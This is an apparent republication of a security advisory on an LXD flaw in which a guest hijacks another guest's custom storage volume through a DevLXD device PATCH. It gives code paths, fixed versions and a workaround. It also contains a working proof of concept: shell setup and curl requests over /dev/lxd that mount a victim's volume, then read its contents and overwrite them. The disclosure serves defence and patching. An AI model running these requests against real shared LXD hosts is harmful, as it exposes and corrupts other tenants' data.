GHSA-hhf9-qw4v-72xp: lxd allows Cross-guest volume hijack via DevLXD device patch

Published Nov 5, 2026
·
Updated

Summary

A guest can mount another guest's custom storage volume over /dev/lxd and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with security.devlxd.management.volumes enabled can attach a volume belonging to a different guest by naming it in a device PATCH, giving one tenant full read and write access to another tenant's volume data.

Details

Volumes created over DevLXD get volatile.devlxd.owner set to the calling identity. The storage handlers enforce it on GET/PUT/DELETE (isDevLXDVolumeOwner, lxd/devlxdstorage.go:359) and on volume-copy sources (devlxdstorage.go:286). The device-attach path does not.

devLXDInstancePatchHandler (lxd/devlxdinstances.go:88) passes the guest's device map to generateDevLXDInstanceDevices (devlxdinstances.go:178). For a device that isn't already on the instance, the only check is isDeviceAccessible(device):

go if (exists && !isOwned) || (!isDeviceAccessible(device))

exists is false for a newly added device, so isDeviceAccessible is the whole gate. It resolves to newDevLXDDeviceAccessValidator (devlxdinstances.go:250), which is diskDeviceAllowed && filters.IsCustomVolumeDisk(device). IsCustomVolumeDisk (lxd/device/filters/disk.go:28) checks the device shape only: type=disk, non-empty source, non-empty pool. It never loads the (pool, source) volume or compares its owner to the caller.

The handler then sets volatile.<dev>.devlxd.owner to the caller and issues an in-process PATCH to instancePatch (lxd/instancepatch.go:55). That call skips the HTTP access handler and runs only project quota checks (limits.AllowInstanceUpdate, instancepatch.go:215) before c.Update. The disk device's validateConfig confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's volatile.devlxd.owner still names the victim.

PoC

Built from source at HEAD d29ece6284 (reports as 6.8, API extension devlxdvolumemanagement); single host, dir pool, default project.

Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:

bash lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl

for g in a b; do lxc auth identity create devlxd/id$g lxc auth group create g$g lxc auth group permission add g$g project default canview lxc auth group permission add g$g project default canviewstoragevolumes lxc auth group permission add g$g project default cancreatestoragevolumes lxc auth group permission add g$g instance guest$g canview project=default lxc auth group permission add g$g instance guest$g canedit project=default lxc auth identity group add devlxd/id$g g$g done TOKENA=$(lxc auth identity token issue devlxd/ida --quiet) TOKENB=$(lxc auth identity token issue devlxd/idb --quiet)

With devlxd defined as lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...:

bash devlxd guesta $TOKENA POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}' devlxd guesta $TOKENA PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}' lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt' devlxd guesta $TOKENA PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'

devlxd guestb $TOKENB GET /1.0/storage-pools/default/volumes/custom/vola # HTTP 404

devlxd guestb $TOKENB PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}' # HTTP 200

lxc exec guestb -- cat /mnt/stolen/secret.txt lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/bwashere.txt'

lxc storage volume get default vola volatile.devlxd.owner returns guesta's identity; lxc config device get guestb stolen source returns vola.

Impact

Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with security.devlxd.management.volumes enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns 200 and a missing one returns a not-found error.

Affected Software

1 affected componentFixes available
go/github.com/canonical/lxd>=0.0.0-20250721152936-fe86ceb2c3fa<0.0.0-20260626085133-7cb96ac80a6d
0.0.0-20260626085133-7cb96ac80a6d

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/canonical/lxd to a version that resolves this vulnerability.

    Fixed in 0.0.0-20260626085133-7cb96ac80a6d
  2. Configuration

    Disable security.devlxd.management.volumes for shared projects to prevent guests from attaching other guests' custom storage volumes.

    LXD security.devlxd.management.volumes = false

Event History

Nov 5, 2026
Advisory Published
via GitHub·05:40 PM
Data Sourced
via GitHub·05:40 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

The issue affects guests in projects where security.devlxd.management.volumes is enabled. A guest in such a project can target a custom storage volume belonging to a different guest.

2

What does an attacker need to exploit this?

The attacker needs access to a guest in an affected project and must send an instance device PATCH that names the other guest's volume. The vulnerable device-attach path does not verify that the requesting guest owns the volume.

3

What access does successful exploitation provide?

The attacker can mount the other guest's custom volume over /dev/lxd and obtain full read and write access to that volume's contents. The DevLXD storage API ownership checks do not prevent this attachment path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203